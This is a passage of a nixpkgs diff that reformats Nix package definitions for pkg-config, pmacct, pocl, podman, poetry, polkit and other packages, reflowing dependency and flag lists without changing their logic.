-    # Can't run these tests while cross-compiling
-    ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
-      "glib_cv_stack_grows=no"
-      "glib_cv_uscore=no"
-      "ac_cv_func_posix_getpwuid_r=yes"
-      "ac_cv_func_posix_getgrgid_r=yes"
-    ];
+  configureFlags = [
+    "--with-internal-glib"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isSunOS) [
+    "--with-libiconv=gnu"
+    "--with-system-library-path"
+    "--with-system-include-path"
+    "CFLAGS=-DENABLE_NLS"
+  ]
+  # Can't run these tests while cross-compiling
+  ++ lib.optionals (stdenv.hostPlatform != stdenv.buildPlatform) [
+    "glib_cv_stack_grows=no"
+    "glib_cv_uscore=no"
+    "ac_cv_func_posix_getpwuid_r=yes"
+    "ac_cv_func_posix_getgrgid_r=yes"
+  ];
 
   env.NIX_CFLAGS_COMPILE = toString (
     # Silence "incompatible integer to pointer conversion passing 'gsize'" when building with Clang.
diff --git a/pkgs/by-name/pk/pkg/package.nix b/pkgs/by-name/pk/pkg/package.nix
index 45c1319334e5..1781da11ab02 100644
--- a/pkgs/by-name/pk/pkg/package.nix
+++ b/pkgs/by-name/pk/pkg/package.nix
@@ -40,7 +40,8 @@ stdenv.mkDerivation (finalAttrs: {
     openssl
     xz
     zlib
-  ] ++ lib.optional stdenv.hostPlatform.isLinux libbsd;
+  ]
+  ++ lib.optional stdenv.hostPlatform.isLinux libbsd;
 
   enableParallelBuilding = true;
 
diff --git a/pkgs/by-name/pk/pktgen/package.nix b/pkgs/by-name/pk/pktgen/package.nix
index 095196a6eaa9..116daa69dc1f 100644
--- a/pkgs/by-name/pk/pktgen/package.nix
+++ b/pkgs/by-name/pk/pktgen/package.nix
@@ -33,18 +33,17 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  buildInputs =
-    [
-      dpdk
-      libbsd
-      libpcap
-      lua5_3
-      numactl
-      which
-    ]
-    ++ lib.optionals withGtk [
-      gtk2
-    ];
+  buildInputs = [
+    dpdk
+    libbsd
+    libpcap
+    lua5_3
+    numactl
+    which
+  ]
+  ++ lib.optionals withGtk [
+    gtk2
+  ];
 
   RTE_SDK = dpdk;
   GUI = lib.optionalString withGtk "true";
diff --git a/pkgs/by-name/pl/playerctl/package.nix b/pkgs/by-name/pl/playerctl/package.nix
index e4a4b10d1e6d..fbeafd0e1c91 100644
--- a/pkgs/by-name/pl/playerctl/package.nix
+++ b/pkgs/by-name/pl/playerctl/package.nix
@@ -25,18 +25,17 @@ stdenv.mkDerivation rec {
     sha256 = "sha256-OiGKUnsKX0ihDRceZoNkcZcEAnz17h2j2QUOSVcxQEY=";
   };
 
-  nativeBuildInputs =
-    [
-      docbook_xsl
-      gobject-introspection
-      gtk-doc
-      meson
-      ninja
-      pkg-config
-    ]
-    ++ lib.optionals (withDocs && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+  nativeBuildInputs = [
+    docbook_xsl
+    gobject-introspection
+    gtk-doc
+    meson
+    ninja
+    pkg-config
+  ]
+  ++ lib.optionals (withDocs && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
   buildInputs = [ glib ];
 
   mesonFlags = [
diff --git a/pkgs/by-name/pl/plfit/package.nix b/pkgs/by-name/pl/plfit/package.nix
index e9b61b9270ef..90f103aea0e3 100644
--- a/pkgs/by-name/pl/plfit/package.nix
+++ b/pkgs/by-name/pl/plfit/package.nix
@@ -25,22 +25,20 @@ stdenv.mkDerivation (finalAttrs: {
       --replace-fail ' ''${Python3_SITELIB}' ' ${placeholder "out"}/${python.sitePackages}'
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-    ]
-    ++ lib.optionals (python != null) [
-      python
-      swig
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals (python != null) [
+    python
+    swig
+  ];
 
-  cmakeFlags =
-    [
-      "-DPLFIT_USE_OPENMP=ON"
-    ]
-    ++ lib.optionals (python != null) [
-      "-DPLFIT_COMPILE_PYTHON_MODULE=ON"
-    ];
+  cmakeFlags = [
+    "-DPLFIT_USE_OPENMP=ON"
+  ]
+  ++ lib.optionals (python != null) [
+    "-DPLFIT_COMPILE_PYTHON_MODULE=ON"
+  ];
 
   buildInputs = lib.optionals stdenv.cc.isClang [
     llvmPackages.openmp
diff --git a/pkgs/by-name/pl/plink-ng/package.nix b/pkgs/by-name/pl/plink-ng/package.nix
index ea697c070e4e..a61cb007908c 100644
--- a/pkgs/by-name/pl/plink-ng/package.nix
+++ b/pkgs/by-name/pl/plink-ng/package.nix
@@ -18,14 +18,13 @@ stdenv.mkDerivation rec {
     sha256 = "1zhffjbwpd50dxywccbnv1rxy9njwz73l4awc5j7i28rgj3davcq";
   };
 
-  buildInputs =
-    [
-      zlib
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      blas
-      lapack
-    ];
+  buildInputs = [
+    zlib
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    blas
+    lapack
+  ];
 
   preBuild = ''
     sed -i 's|zlib-1.2.8/zlib.h|zlib.h|g' *.c *.h
diff --git a/pkgs/by-name/pm/pmacct/package.nix b/pkgs/by-name/pm/pmacct/package.nix
index b00ffe4196a6..1bf54499c598 100644
--- a/pkgs/by-name/pm/pmacct/package.nix
+++ b/pkgs/by-name/pm/pmacct/package.nix
@@ -41,34 +41,32 @@ stdenv.mkDerivation (finalAttrs: {
     pkg-config
     libtool
   ];
-  buildInputs =
-    [
-      libcdada
-      libpcap
-    ]
-    ++ lib.optional withJansson jansson
-    ++ lib.optional withNflog libnetfilter_log
-    ++ lib.optional withSQLite sqlite
-    ++ lib.optional withPgSQL libpq
-    ++ lib.optionals withMysql [
-      libmysqlclient
-      zlib
-      numactl
-    ]
-    ++ lib.optional gnutlsSupport gnutls;
+  buildInputs = [
+    libcdada
+    libpcap
+  ]
+  ++ lib.optional withJansson jansson
+  ++ lib.optional withNflog libnetfilter_log
+  ++ lib.optional withSQLite sqlite
+  ++ lib.optional withPgSQL libpq
+  ++ lib.optionals withMysql [
+    libmysqlclient
+    zlib
+    numactl
+  ]
+  ++ lib.optional gnutlsSupport gnutls;
 
   MYSQL_CONFIG = lib.optionalString withMysql "${lib.getDev libmysqlclient}/bin/mysql_config";
 
-  configureFlags =
-    [
-      "--with-pcap-includes=${libpcap}/include"
-    ]
-    ++ lib.optional withJansson "--enable-jansson"
-    ++ lib.optional withNflog "--enable-nflog"
-    ++ lib.optional withSQLite "--enable-sqlite3"
-    ++ lib.optional withPgSQL "--enable-pgsql"
-    ++ lib.optional withMysql "--enable-mysql"
-    ++ lib.optional gnutlsSupport "--enable-gnutls";
+  configureFlags = [
+    "--with-pcap-includes=${libpcap}/include"
+  ]
+  ++ lib.optional withJansson "--enable-jansson"
+  ++ lib.optional withNflog "--enable-nflog"
+  ++ lib.optional withSQLite "--enable-sqlite3"
+  ++ lib.optional withPgSQL "--enable-pgsql"
+  ++ lib.optional withMysql "--enable-mysql"
+  ++ lib.optional gnutlsSupport "--enable-gnutls";
 
   passthru.tests = {
     version = testers.testVersion {
diff --git a/pkgs/by-name/pm/pmars/package.nix b/pkgs/by-name/pm/pmars/package.nix
index f5f52eba5fd4..cce56b0b1d89 100644
--- a/pkgs/by-name/pm/pmars/package.nix
+++ b/pkgs/by-name/pm/pmars/package.nix
@@ -17,8 +17,7 @@ let
     "RWLIMIT"
   ];
   pkgConfigLibs =
-    lib.optionals enableXwinGraphics [ "x11" ]
-    ++ lib.optionals (!enableXwinGraphics) [ "ncurses" ];
+    lib.optionals enableXwinGraphics [ "x11" ] ++ lib.optionals (!enableXwinGraphics) [ "ncurses" ];
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "pmars";
@@ -61,8 +60,7 @@ stdenv.mkDerivation (finalAttrs: {
   nativeBuildInputs = [ installShellFiles ] ++ lib.optionals (pkgConfigLibs != [ ]) [ pkg-config ];
 
   buildInputs =
-    lib.optionals enableXwinGraphics [ libX11 ]
-    ++ lib.optionals (!enableXwinGraphics) [ ncurses ];
+    lib.optionals enableXwinGraphics [ libX11 ] ++ lib.optionals (!enableXwinGraphics) [ ncurses ];
 
   preConfigure = ''
     cd src
diff --git a/pkgs/by-name/pm/pmbootstrap/package.nix b/pkgs/by-name/pm/pmbootstrap/package.nix
index e05c89017f4a..78ff5db4c519 100644
--- a/pkgs/by-name/pm/pmbootstrap/package.nix
+++ b/pkgs/by-name/pm/pmbootstrap/package.nix
@@ -52,16 +52,15 @@ python3Packages.buildPythonApplication rec {
   '';
 
   # skip impure tests
-  disabledTests =
-    [
-      "test_pkgrepo_pmaports"
-      "test_random_valid_deviceinfos"
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
-      # assert chroot.type == ChrootType.BUILDROOT
-      # AssertionError: assert <ChrootType.NATIVE: 'native'> == <ChrootType.BUILDROOT: 'buildroot'>
-      "test_valid_chroots"
-    ];
+  disabledTests = [
+    "test_pkgrepo_pmaports"
+    "test_random_valid_deviceinfos"
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && stdenv.hostPlatform.isAarch64) [
+    # assert chroot.type == ChrootType.BUILDROOT
+    # AssertionError: assert <ChrootType.NATIVE: 'native'> == <ChrootType.BUILDROOT: 'buildroot'>
+    "test_valid_chroots"
+  ];
 
   versionCheckProgramArg = "--version";
 
diff --git a/pkgs/by-name/pm/pmix/package.nix b/pkgs/by-name/pm/pmix/package.nix
index d4eed1fef336..3a9767091fdb 100644
--- a/pkgs/by-name/pm/pmix/package.nix
+++ b/pkgs/by-name/pm/pmix/package.nix
@@ -70,25 +70,24 @@ stdenv.mkDerivation (finalAttrs: {
     ./autogen.pl
   '';
 
-  postInstall =
-    ''
-      find $out/lib/ -name "*.la" -exec rm -f \{} \;
+  postInstall = ''
+    find $out/lib/ -name "*.la" -exec rm -f \{} \;
 
-      moveToOutput "bin/pmix_info" "''${!outputDev}"
-      moveToOutput "bin/pmixcc" "''${!outputDev}"
-      moveToOutput "share/pmix/pmixcc-wrapper-data.txt" "''${!outputDev}"
+    moveToOutput "bin/pmix_info" "''${!outputDev}"
+    moveToOutput "bin/pmixcc" "''${!outputDev}"
+    moveToOutput "share/pmix/pmixcc-wrapper-data.txt" "''${!outputDev}"
 
-    ''
-    # From some reason the Darwin build doesn't include this file, so we
-    # currently disable this substitution for any non-Linux platform, until a
-    # Darwin user will care enough about this cross platform fix.
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      # Pin the compiler to the current version in a cross compiler friendly way.
-      # Same pattern as for openmpi (see https://github.com/NixOS/nixpkgs/pull/58964#discussion_r275059427).
-      substituteInPlace "''${!outputDev}"/share/pmix/pmixcc-wrapper-data.txt \
-        --replace-fail compiler=${stdenv.cc.targetPrefix}gcc \
-          compiler=${targetPackages.stdenv.cc}/bin/${targetPackages.stdenv.cc.targetPrefix}cc
-    '';
+  ''
+  # From some reason the Darwin build doesn't include this file, so we
+  # currently disable this substitution for any non-Linux platform, until a
+  # Darwin user will care enough about this cross platform fix.
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    # Pin the compiler to the current version in a cross compiler friendly way.
+    # Same pattern as for openmpi (see https://github.com/NixOS/nixpkgs/pull/58964#discussion_r275059427).
+    substituteInPlace "''${!outputDev}"/share/pmix/pmixcc-wrapper-data.txt \
+      --replace-fail compiler=${stdenv.cc.targetPrefix}gcc \
+        compiler=${targetPackages.stdenv.cc}/bin/${targetPackages.stdenv.cc.targetPrefix}cc
+  '';
 
   postFixup = lib.optionalString (lib.elem "dev" finalAttrs.outputs) ''
     # The build info (parameters to ./configure) are hardcoded
diff --git a/pkgs/by-name/pn/pnfft/package.nix b/pkgs/by-name/pn/pnfft/package.nix
index 484ba9eeba21..47fd5ff97054 100644
--- a/pkgs/by-name/pn/pnfft/package.nix
+++ b/pkgs/by-name/pn/pnfft/package.nix
@@ -45,7 +45,8 @@ stdenv.mkDerivation (finalAttrs: {
   configureFlags = [
     "--enable-threads"
     "--enable-portable-binary"
-  ] ++ lib.optional (precision != "double") "--enable-${precision}";
+  ]
+  ++ lib.optional (precision != "double") "--enable-${precision}";
 
   buildInputs = [ gsl ] ++ lib.optional stdenv.cc.isClang llvmPackages.openmp;
 
diff --git a/pkgs/by-name/pn/pngout/package.nix b/pkgs/by-name/pn/pngout/package.nix
index ca5d174b968b..608b9bc1ae9f 100644
--- a/pkgs/by-name/pn/pngout/package.nix
+++ b/pkgs/by-name/pn/pngout/package.nix
@@ -59,14 +59,13 @@ stdenv.mkDerivation {
   # pngout is code-signed on Darwin, so don’t alter the binary to avoid breaking the signature.
   dontFixup = stdenv.hostPlatform.isDarwin;
 
-  installPhase =
-    ''
-      mkdir -p $out/bin
-      cp ${platform.folder}/pngout $out/bin
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      patchelf --set-interpreter ${stdenv.cc.libc}/lib/${platform.ld-linux} $out/bin/pngout
-    '';
+  installPhase = ''
+    mkdir -p $out/bin
+    cp ${platform.folder}/pngout $out/bin
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    patchelf --set-interpreter ${stdenv.cc.libc}/lib/${platform.ld-linux} $out/bin/pngout
+  '';
 
   meta = {
     description = "Tool that aggressively optimizes the sizes of PNG images";
diff --git a/pkgs/by-name/po/pocl/package.nix b/pkgs/by-name/po/pocl/package.nix
index 4075762f19e5..37ca2f66cde8 100644
--- a/pkgs/by-name/po/pocl/package.nix
+++ b/pkgs/by-name/po/pocl/package.nix
@@ -56,25 +56,24 @@ stdenv.mkDerivation (finalAttrs: {
       "static_cast<size_t>(Dev.getInfo<CL_DEVICE_GLOBAL_MEM_SIZE>())"
   '';
 
-  cmakeFlags =
-    [
-      # avoid the runtime linker pulling in a different llvm e.g. from graphics drivers
-      (lib.cmakeBool "STATIC_LLVM" true)
-      (lib.cmakeBool "ENABLE_POCL_BUILDING" false)
-      (lib.cmakeBool "POCL_ICD_ABSOLUTE_PATH" true)
-      (lib.cmakeBool "ENABLE_ICD" true)
-      (lib.cmakeBool "ENABLE_REMOTE_CLIENT" true)
-      (lib.cmakeBool "ENABLE_REMOTE_SERVER" true)
-      (lib.cmakeFeature "CLANG" "${clangWrapped}/bin/clang")
-      (lib.cmakeFeature "CLANGXX" "${clangWrapped}/bin/clang++")
-    ]
-    # Only x86_64 supports "distro" which allows runtime detection of SSE/AVX
-    ++ lib.optionals stdenv.hostPlatform.isx86_64 [
-      (lib.cmakeFeature "KERNELLIB_HOST_CPU_VARIANTS" "distro")
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isx86_64) [
-      (lib.cmakeFeature "LLC_HOST_CPU" "generic")
-    ];
+  cmakeFlags = [
+    # avoid the runtime linker pulling in a different llvm e.g. from graphics drivers
+    (lib.cmakeBool "STATIC_LLVM" true)
+    (lib.cmakeBool "ENABLE_POCL_BUILDING" false)
+    (lib.cmakeBool "POCL_ICD_ABSOLUTE_PATH" true)
+    (lib.cmakeBool "ENABLE_ICD" true)
+    (lib.cmakeBool "ENABLE_REMOTE_CLIENT" true)
+    (lib.cmakeBool "ENABLE_REMOTE_SERVER" true)
+    (lib.cmakeFeature "CLANG" "${clangWrapped}/bin/clang")
+    (lib.cmakeFeature "CLANGXX" "${clangWrapped}/bin/clang++")
+  ]
+  # Only x86_64 supports "distro" which allows runtime detection of SSE/AVX
+  ++ lib.optionals stdenv.hostPlatform.isx86_64 [
+    (lib.cmakeFeature "KERNELLIB_HOST_CPU_VARIANTS" "distro")
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isx86_64) [
+    (lib.cmakeFeature "LLC_HOST_CPU" "generic")
+  ];
 
   nativeBuildInputs = [
     cmake
@@ -83,20 +82,19 @@ stdenv.mkDerivation (finalAttrs: {
     python3
   ];
 
-  buildInputs =
-    [
-      hwloc
-      libxml2
-      llvmPackages.llvm
-      llvmPackages.libclang
-      opencl-headers
-      ocl-icd
-      spirv-tools
-      spirv-llvm-translator
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      lttng-ust
-    ];
+  buildInputs = [
+    hwloc
+    libxml2
+    llvmPackages.llvm
+    llvmPackages.libclang
+    opencl-headers
+    ocl-icd
+    spirv-tools
+    spirv-llvm-translator
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    lttng-ust
+  ];
 
   nativeInstallCheckInputs = [
     writableTmpDirAsHomeHook
diff --git a/pkgs/by-name/po/podman-desktop/package.nix b/pkgs/by-name/po/podman-desktop/package.nix
index bfd83f415744..7f6b9f8bf4aa 100644
--- a/pkgs/by-name/po/podman-desktop/package.nix
+++ b/pkgs/by-name/po/podman-desktop/package.nix
@@ -75,18 +75,17 @@ stdenv.mkDerivation (finalAttrs: {
   # It's impure and may fail in some restricted environments.
   CSC_IDENTITY_AUTO_DISCOVERY = lib.optionals stdenv.hostPlatform.isDarwin "false";
 
-  nativeBuildInputs =
-    [
-      nodejs
-      pnpm_10.configHook
-    ]
-    ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
-      copyDesktopItems
-      makeWrapper
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      darwin.autoSignDarwinBinariesHook
-    ];
+  nativeBuildInputs = [
+    nodejs
+    pnpm_10.configHook
+  ]
+  ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
+    copyDesktopItems
+    makeWrapper
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    darwin.autoSignDarwinBinariesHook
+  ];
 
   buildPhase = ''
     runHook preBuild
@@ -104,30 +103,29 @@ stdenv.mkDerivation (finalAttrs: {
     runHook postBuild
   '';
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir -p $out/Applications
-      mv dist/mac*/Podman\ Desktop.app $out/Applications
-    ''
-    + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
-      mkdir -p "$out/share/lib/podman-desktop"
-      cp -r dist/*-unpacked/{locales,resources{,.pak}} "$out/share/lib/podman-desktop"
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir -p $out/Applications
+    mv dist/mac*/Podman\ Desktop.app $out/Applications
+  ''
+  + lib.optionalString (!stdenv.hostPlatform.isDarwin) ''
+    mkdir -p "$out/share/lib/podman-desktop"
+    cp -r dist/*-unpacked/{locales,resources{,.pak}} "$out/share/lib/podman-desktop"
 
-      install -Dm644 buildResources/icon.svg "$out/share/icons/hicolor/scalable/apps/podman-desktop.svg"
+    install -Dm644 buildResources/icon.svg "$out/share/icons/hicolor/scalable/apps/podman-desktop.svg"
 
-      makeWrapper '${electron}/bin/electron' "$out/bin/podman-desktop" \
-        --add-flags "$out/share/lib/podman-desktop/resources/app.asar" \
-        --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
-        --inherit-argv0
-    ''
-    + ''
+    makeWrapper '${electron}/bin/electron' "$out/bin/podman-desktop" \
+      --add-flags "$out/share/lib/podman-desktop/resources/app.asar" \
+      --add-flags "\''${NIXOS_OZONE_WL:+\''${WAYLAND_DISPLAY:+--ozone-platform-hint=auto --enable-features=WaylandWindowDecorations --enable-wayland-ime=true}}" \
+      --inherit-argv0
+  ''
+  + ''
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   # see: https://github.com/containers/podman-desktop/blob/main/.flatpak.desktop
   desktopItems = [
diff --git a/pkgs/by-name/po/podman-tui/package.nix b/pkgs/by-name/po/podman-tui/package.nix
index 15a4d6bb0c62..acf41ce971ca 100644
--- a/pkgs/by-name/po/podman-tui/package.nix
+++ b/pkgs/by-name/po/podman-tui/package.nix
@@ -25,7 +25,8 @@ buildGoModule rec {
   tags = [
     "containers_image_openpgp"
     "remote"
-  ] ++ lib.optional stdenv.hostPlatform.isDarwin "darwin";
+  ]
+  ++ lib.optional stdenv.hostPlatform.isDarwin "darwin";
 
   ldflags = [
     "-s"
diff --git a/pkgs/by-name/po/podman/package.nix b/pkgs/by-name/po/podman/package.nix
index 511e530e8274..568c5f6410ff 100644
--- a/pkgs/by-name/po/podman/package.nix
+++ b/pkgs/by-name/po/podman/package.nix
@@ -58,19 +58,18 @@ let
     name = "podman-helper-binary-wrapper";
 
     # this only works for some binaries, others may need to be added to `binPath` or in the modules
-    paths =
-      [
-        gvproxy
-      ]
-      ++ lib.optionals stdenv.hostPlatform.isLinux [
-        aardvark-dns
-        catatonit # added here for the pause image and also set in `containersConf` for `init_path`
-        netavark
-        passt
-        conmon
-        crun
-      ]
-      ++ extraRuntimes;
+    paths = [
+      gvproxy
+    ]
+    ++ lib.optionals stdenv.hostPlatform.isLinux [
+      aardvark-dns
+      catatonit # added here for the pause image and also set in `containersConf` for `init_path`
+      netavark
+      passt
+      conmon
+      crun
+    ]
+    ++ extraRuntimes;
   };
 in
 buildGoModule rec {
@@ -171,21 +170,20 @@ buildGoModule rec {
     patchelf --set-rpath "${lib.makeLibraryPath [ systemd ]}":$RPATH $out/bin/.podman-wrapped
   '';
 
-  passthru.tests =
-    {
-      version = testers.testVersion {
-        package = podman;
-        command = "HOME=$TMPDIR podman --version";
-      };
-    }
-    // lib.optionalAttrs stdenv.hostPlatform.isLinux {
-      inherit (nixosTests) podman;
-      # related modules
-      inherit (nixosTests)
-        podman-tls-ghostunnel
-        ;
-      oci-containers-podman = nixosTests.oci-containers.podman;
+  passthru.tests = {
+    version = testers.testVersion {
+      package = podman;
+      command = "HOME=$TMPDIR podman --version";
     };
+  }
+  // lib.optionalAttrs stdenv.hostPlatform.isLinux {
+    inherit (nixosTests) podman;
+    # related modules
+    inherit (nixosTests)
+      podman-tls-ghostunnel
+      ;
+    oci-containers-podman = nixosTests.oci-containers.podman;
+  };
 
   meta = with lib; {
     homepage = "https://podman.io/";
diff --git a/pkgs/by-name/po/poetry/plugins/poetry-plugin-shell.nix b/pkgs/by-name/po/poetry/plugins/poetry-plugin-shell.nix
index a3eb42a24dc9..19fd5c1647de 100644
--- a/pkgs/by-name/po/poetry/plugins/poetry-plugin-shell.nix
+++ b/pkgs/by-name/po/poetry/plugins/poetry-plugin-shell.nix
@@ -36,15 +36,14 @@ buildPythonPackage rec {
     shellingham
   ];
 
-  nativeCheckInputs =
-    [
-      pytest-mock
-      pytest-xdist
-      pytestCheckHook
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      darwin.ps
-    ];
+  nativeCheckInputs = [
+    pytest-mock
+    pytest-xdist
+    pytestCheckHook
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    darwin.ps
+  ];
 
   meta = {
     changelog = "https://github.com/python-poetry/poetry-plugin-shell/blob/${src.tag}/CHANGELOG.md";
diff --git a/pkgs/by-name/po/poetry/unwrapped.nix b/pkgs/by-name/po/poetry/unwrapped.nix
index 6c70694ff3f6..e588a0c97341 100644
--- a/pkgs/by-name/po/poetry/unwrapped.nix
+++ b/pkgs/by-name/po/poetry/unwrapped.nix
@@ -63,41 +63,40 @@ buildPythonPackage rec {
     "virtualenv"
   ];
 
-  dependencies =
-    [
-      build
-      cachecontrol
-      cleo
-      dulwich
-      fastjsonschema
-      findpython
-      installer
-      keyring
-      packaging
-      pbs-installer
-      pkginfo
-      platformdirs
-      poetry-core
-      pyproject-hooks
-      requests
-      requests-toolbelt
-      shellingham
-      tomlkit
-      trove-classifiers
-      virtualenv
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
-      xattr
-    ]
-    ++ lib.optionals (pythonOlder "3.11") [
-      tomli
-    ]
-    ++ lib.optionals (pythonOlder "3.10") [
-      importlib-metadata
-    ]
-    ++ cachecontrol.optional-dependencies.filecache
-    ++ pbs-installer.optional-dependencies.download
-    ++ pbs-installer.optional-dependencies.install;
+  dependencies = [
+    build
+    cachecontrol
+    cleo
+    dulwich
+    fastjsonschema
+    findpython
+    installer
+    keyring
+    packaging
+    pbs-installer
+    pkginfo
+    platformdirs
+    poetry-core
+    pyproject-hooks
+    requests
+    requests-toolbelt
+    shellingham
+    tomlkit
+    trove-classifiers
+    virtualenv
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isDarwin) [
+    xattr
+  ]
+  ++ lib.optionals (pythonOlder "3.11") [
+    tomli
+  ]
+  ++ lib.optionals (pythonOlder "3.10") [
+    importlib-metadata
+  ]
+  ++ cachecontrol.optional-dependencies.filecache
+  ++ pbs-installer.optional-dependencies.download
+  ++ pbs-installer.optional-dependencies.install;
 
   postInstall = ''
     installShellCompletion --cmd poetry \
diff --git a/pkgs/by-name/po/poke/package.nix b/pkgs/by-name/po/poke/package.nix
index 18b8fa83446b..8846cb39c12d 100644
--- a/pkgs/by-name/po/poke/package.nix
+++ b/pkgs/by-name/po/poke/package.nix
@@ -29,16 +29,15 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-qEy5F11Q1FpBHySB/QZiuDyzLOUXMWuInPtXCBlXk3M=";
   };
 
-  outputs =
-    [
-      "out"
-      "dev"
-      "info"
-      "lib"
-    ]
-    # help2man can't cross compile because it runs `poke --help` to
-    # generate the man page
-    ++ lib.optional (!isCross) "man";
+  outputs = [
+    "out"
+    "dev"
+    "info"
+    "lib"
+  ]
+  # help2man can't cross compile because it runs `poke --help` to
+  # generate the man page
+  ++ lib.optional (!isCross) "man";
 
   postPatch = ''
     patchShebangs .
@@ -46,23 +45,21 @@ stdenv.mkDerivation (finalAttrs: {
 
   strictDeps = true;
 
-  nativeBuildInputs =
-    [
-      pkg-config
-      texinfo
-    ]
-    ++ lib.optionals (!isCross) [
-      help2man
-    ];
+  nativeBuildInputs = [
+    pkg-config
+    texinfo
+  ]
+  ++ lib.optionals (!isCross) [
+    help2man
+  ];
 
-  buildInputs =
-    [
-      boehmgc
-      readline
-    ]
-    ++ lib.optional nbdSupport libnbd
-    ++ lib.optional textStylingSupport gettext
-    ++ lib.optional finalAttrs.finalPackage.doCheck dejagnu;
+  buildInputs = [
+    boehmgc
+    readline
+  ]
+  ++ lib.optional nbdSupport libnbd
+  ++ lib.optional textStylingSupport gettext
+  ++ lib.optional finalAttrs.finalPackage.doCheck dejagnu;
 
   configureFlags = [
     # libpoke depends on $datadir/poke, so we specify the datadir in
diff --git a/pkgs/by-name/po/polkadot/package.nix b/pkgs/by-name/po/polkadot/package.nix
index d81e136d5174..e6d7b934e20f 100644
--- a/pkgs/by-name/po/polkadot/package.nix
+++ b/pkgs/by-name/po/polkadot/package.nix
@@ -60,7 +60,8 @@ rustPlatform.buildRustPackage rec {
   # NOTE: jemalloc is used by default on Linux with unprefixed enabled
   buildInputs = [
     openssl
-  ] ++ lib.optionals stdenv.hostPlatform.isLinux [ rust-jemalloc-sys-unprefixed ];
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [ rust-jemalloc-sys-unprefixed ];
 
   checkInputs = [
     cacert
diff --git a/pkgs/by-name/po/polkit/package.nix b/pkgs/by-name/po/polkit/package.nix
index e3e79ff92b41..4fd41a15d018 100644
--- a/pkgs/by-name/po/polkit/package.nix
+++ b/pkgs/by-name/po/polkit/package.nix
@@ -74,39 +74,37 @@ stdenv.mkDerivation rec {
     pkg-config
   ];
 
-  nativeBuildInputs =
-    [
-      glib
-      pkg-config
-      gettext
-      meson
-      ninja
-      perl
+  nativeBuildInputs = [
+    glib
+    pkg-config
+    gettext
+    meson
+    ninja
+    perl
 
-      # man pages
-      libxslt
-      docbook-xsl-nons
-      docbook_xml_dtd_412
-    ]
-    ++ lib.optionals withIntrospection [
-      gobject-introspection
-      gtk-doc
-    ]
-    ++ lib.optionals (withIntrospection && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
-      mesonEmulatorHook
-    ];
+    # man pages
+    libxslt
+    docbook-xsl-nons
+    docbook_xml_dtd_412
+  ]
+  ++ lib.optionals withIntrospection [
+    gobject-introspection
+    gtk-doc
+  ]
+  ++ lib.optionals (withIntrospection && !stdenv.buildPlatform.canExecute stdenv.hostPlatform) [
+    mesonEmulatorHook
+  ];
 
-  buildInputs =
-    [
-      expat
-      pam
-      dbus
-      duktape
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # On Linux, fall back to elogind when systemd support is off.
-      (if useSystemd then systemdMinimal else elogind)
-    ];
+  buildInputs = [
+    expat
+    pam
+    dbus
+    duktape
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # On Linux, fall back to elogind when systemd support is off.
+    (if useSystemd then systemdMinimal else elogind)
+  ];
 
   propagatedBuildInputs = [
     glib # in .pc Requires
@@ -142,21 +140,20 @@ stdenv.mkDerivation rec {
     PKG_CONFIG_SYSTEMD_TMPFILES_DIR = "/usr/lib/tmpfiles.d";
   };
 
-  mesonFlags =
-    [
-      "--datadir=${system}/share"
-      "--sysconfdir=/etc"
-      "-Dpolkitd_user=polkituser" # TODO? <nixos> config.ids.uids.polkituser
-      "-Dos_type=redhat" # affects PAM includes and privileged group name (wheel)
-      "-Dintrospection=${lib.boolToString withIntrospection}"
-      "-Dtests=${lib.boolToString doCheck}"
-      "-Dgtk_doc=${lib.boolToString withIntrospection}"
-      "-Dman=true"
-      "-Dsystemdsystemunitdir=${placeholder "out"}/lib/systemd/system"
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      "-Dsession_tracking=${if useSystemd then "logind" else "elogind"}"
-    ];
+  mesonFlags = [
+    "--datadir=${system}/share"
+    "--sysconfdir=/etc"
